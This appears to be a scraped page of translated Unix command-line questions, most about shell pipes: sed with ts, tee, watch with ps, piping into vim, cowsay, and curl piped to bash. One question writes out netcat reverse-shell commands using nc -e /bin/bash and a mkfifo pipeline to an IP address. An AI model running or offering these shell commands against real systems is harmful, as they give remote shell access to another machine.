我不是很精通命令行,所以希望这不是一个太愚蠢的问题。
如果我运行:
ffmpeg -i videofile.avi
Run Code Online (Sandbox Code Playgroud)
我得到这样的输出:
ffmpeg version git-2013-11-21-6a7980e Copyright (c) 2000-2013 the FFmpeg develop ers
built on Nov 21 2013 12:06:32 with gcc 4.6 (Ubuntu/Linaro 4.6.3-1ubuntu5)
configuration: --prefix=/home/user/ffmpeg_build --extra-cflags=-I/home/user/ffmpeg_build/include --extra-ldflags=-L/home/user/ffmpeg_build/lib --b indir=/home/user/bin --extra-libs=-ldl --enable-gpl --enable-libass --enable -libfdk- aac --enable-libmp3lame --enable-libtheora --enable-libvorbis --enable-l ibx264 --enable- nonfree
libavutil 52. 53.100 / 52. 53.100
libavcodec 55. 44.100 / 55. 44.100
libavformat 55. 21.100 / 55. 21.100
libavdevice 55. 5.100 / 55. 5.100
libavfilter 3. 91.100 / 3. 91.100
libswscale 2. 5.101 / …Run Code Online (Sandbox Code Playgroud) 我在串行端口有一个传入流,新行大约每秒出现一次
wren@Raven:~$ cat /dev/ttyUSB0
A_Sensor1,B_22.00,C_50.00
A_Sensor1,B_22.00,C_50.00
A_Sensor1,B_22.00,C_50.00
A_Sensor1,B_22.00,C_50.00
A_Sensor1,B_22.00,C_50.00
Run Code Online (Sandbox Code Playgroud)
我想去除空行并对其余部分进行时间戳。
sed 将剔除空行并添加时间戳,但我无法更新时间戳,它只报告调用它的时间:
wren@Raven:~$ cat /dev/ttyUSB0 | sed -e '/^$/d' -e "s/$/`date +\,%F\,%T`/"
A_Sensor1,B_22.00,C_50.00,2014-05-14,09:44:42
A_Sensor1,B_22.00,C_50.00,2014-05-14,09:44:42
A_Sensor1,B_22.00,C_50.00,2014-05-14,09:44:42
A_Sensor1,B_22.00,C_50.00,2014-05-14,09:44:42
A_Sensor1,B_22.00,C_50.00,2014-05-14,09:44:42
A_Sensor1,B_22.00,C_50.00,2014-05-14,09:44:42
A_Sensor1,B_22.00,C_50.00,2014-05-14,09:44:42
^C
Run Code Online (Sandbox Code Playgroud)
我找到了 ts,Moreutils 的一部分,并且可以通过管道输入它以获得更新时间戳。
wren@Raven:~$ cat /dev/ttyUSB0 | ts
May 14 09:49:26 A_Sensor1,B_22.00,C_50.00
May 14 09:49:26
May 14 09:49:27 A_Sensor1,B_22.00,C_50.00
^C
Run Code Online (Sandbox Code Playgroud)
但是,我无法将 ts 与 sed 正确结合。
这看起来应该做我想做的事,根本不产生任何输出
wren@Raven:~$ cat /dev/ttyUSB0 | sed -e '/^$/d' | ts
^C
wren@Raven:~$
Run Code Online (Sandbox Code Playgroud)
然而,颠倒管道的顺序确实会产生输出,但当然不会去除不再空白的线条。其他替换工作正常,所以我知道 sed 的管道正在工作。
wren@Raven:~$ cat /dev/ttyUSB0 | ts | sed -e '/^$/d'
May …Run Code Online (Sandbox Code Playgroud) 我有一个由 while 循环组成的脚本,其中包含一个回声:
while my_condition
do
echo [my_output]
done
Run Code Online (Sandbox Code Playgroud)
如何在单个管道中收集输出?
我需要column在输出管道之后使用'
我想做一些与此等效的事情:
some-expensive-command > /tmp/mytempfile
grep -v "pattern" /tmp/mytempfile >> output.txt
grep "pattern" /tmp/mytempfile | yet-another-command
Run Code Online (Sandbox Code Playgroud)
最好是优雅且不需要tempfile. 我正在考虑通过管道tee,但我能想到的最好的可能是将三行中的两行组合起来,并且仍然需要中间存储:
some-expensive-command | tee /tmp/mytempfile | grep -v "pattern" >> output.txt
grep "pattern" /tmp/mytempfile | yet-another-command
Run Code Online (Sandbox Code Playgroud) 有一种简单的方法可以连接两个系统并使用nc命令获取 shell,如下所示。
机器A监听
nc -nlvp 4444
Run Code Online (Sandbox Code Playgroud)
机器B连接
nc 192.168.4.4 4444 -e /bin/bash
Run Code Online (Sandbox Code Playgroud)
但是,-e选项不再存在,手册页建议按照以下方式执行命令
机器A监听
nc -nlvp 4444
Run Code Online (Sandbox Code Playgroud)
机器B连接
rm /tmp/f
mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.4.4 4444 > /tmp/f
Run Code Online (Sandbox Code Playgroud)
我确实知道(命名管道)背后的概念mkfifo以及重定向和管道的工作原理。但这仍然让我困惑。
我对 bash 脚本有点陌生,我想知道是否有程序或内置命令可以通过管道以指定的颜色打印?或者是否有一个 echo 参数可以这样做?
就像我可以做的:
echo Hi | commandhere -arguement blue
Run Code Online (Sandbox Code Playgroud)
它会以蓝色打印“嗨”?
在处理一个在这里无关紧要的(Python)脚本时,我遇到了一个非常奇怪的行为,涉及watchand ps aux,当后者通过管道传输到其他东西时。
我已经设法将问题减少到一行。跑步时
watch "ps aux | grep 'ps aux'"
Run Code Online (Sandbox Code Playgroud)
在终端中,正如预期的那样,您通常会得到几行输出。
请注意,前三行被切断,ps aux最后几乎不适合。当您将终端的尺寸减小到不再适合的位置时,它会完全从结果中删除。
这意味着 grep 只接收截止输出。我对此感到最困惑的是发生这种情况的范围极其有限。这不会发生在任何一个
ps aux | grep "ps aux"
watch "ps u -C ps"
watch "ssh localhost 'ps aux | grep \"ps aux\"'"
Run Code Online (Sandbox Code Playgroud)
在所有这些情况下,列表都按预期环绕。
在 Ubuntu 15.04 上,bash 和 sh 似乎都是这种情况。
虽然我设法在我的脚本中解决了这个问题,但有人对这种行为有任何解释吗?
我经常以这种方式将我的终端输出重定向到 vim,我厌倦了一直输入:
ls | vim -
Run Code Online (Sandbox Code Playgroud)
我想定义一个函数v来为我做这件事,即我希望能够输入:
v ls 并且这以某种方式“扩展”到上一个命令。
我可以用这种脚本在简单的情况下做到这一点(当然,这可以重构为一个小函数):
#!/bin/bash
touch crrt_cmd
while (( "$#" )); do
echo -n $1 >> crrt_cmd
echo -n " " >> crrt_cmd
shift
done
chmod +x crrt_cmd
bash crrt_cmd | vim -
rm crrt_cmd
Run Code Online (Sandbox Code Playgroud)
这适用于非常简单的命令,例如lsor ls -l,但是当存在一些管道时它根本不起作用,例如。
关于如何执行类似操作的任何想法,但适用于任何有效的 bash 命令?
所以只是要清楚,如果可能的话,我希望事情以这种方式工作:
v ls | grep keyword | head -5
Run Code Online (Sandbox Code Playgroud)
会翻译成:
ls | grep keyword | head -5 | vim -
Run Code Online (Sandbox Code Playgroud) 我希望能够通过某个命令传输所有 bash 终端命令(除了对某人恶作剧之外,没有其他充分的理由)。我只想将任何已执行命令的标准输出通过管道传输到预先确定的程序中,而无需做任何特别的事情。
例如:如果该预定程序是 cowsay
echo "Hello World"
Run Code Online (Sandbox Code Playgroud)
应该输出
_____________
< Hello World >
-------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
Run Code Online (Sandbox Code Playgroud)
我怎样才能做到这一点?(一些有趣的节目,我想用它来恶作剧别人包括rev,cowsay和lolcat)
当我卷曲存储在网络服务器上的脚本时,它会无休止地回显我编码的提示,直到我发送 ^c。我所做的只是一个简单的curl https://server/test.sh | bash。这是通过管道运行的代码
while true
do
read -r -p "[Y/n] " input
case $input in
[yY][eE][sS]|[yY])
echo "y"
break
;;
[nN][oO]|[nN])
echo "n"
break
;;
*)
echo "y/n"
;;
esac
done
Run Code Online (Sandbox Code Playgroud)